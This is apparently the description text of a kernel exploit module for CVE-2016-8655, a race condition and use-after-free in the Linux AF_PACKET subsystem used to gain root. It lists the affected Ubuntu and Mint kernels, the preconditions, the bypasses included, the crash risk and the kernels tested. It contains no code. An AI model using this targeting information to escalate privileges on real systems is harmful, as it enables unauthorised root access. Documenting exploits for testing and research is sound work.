        This module exploits a race condition and use-after-free in the
        packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in
        the Linux kernel to execute code as root (CVE-2016-8655).

        The bug was initially introduced in 2011 and patched in 2016 in version
        4.4.0-53.74, potentially affecting a large number of kernels; however
        this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels
        4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as
        Linux Mint.

        The target system must have unprivileged user namespaces enabled and
        two or more CPU cores.

        Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation
        may crash the kernel.

        This module has been tested successfully on Linux Mint 17.3 (x86_64);
        Linux Mint 18 (x86_64); and Ubuntu 16.04.2 (x86_64) with kernel
        versions 4.4.0-45-generic and 4.4.0-51-generic.

There are offsets included for older kernels, but they're untested
so be aware that this exploit will probably crash kernels older than 4.4.

tested on:
Ubuntu 16.04: 4.4.0-51-generic
Ubuntu 16.04: 4.4.0-47-generic
Ubuntu 16.04: 4.4.0-36-generic
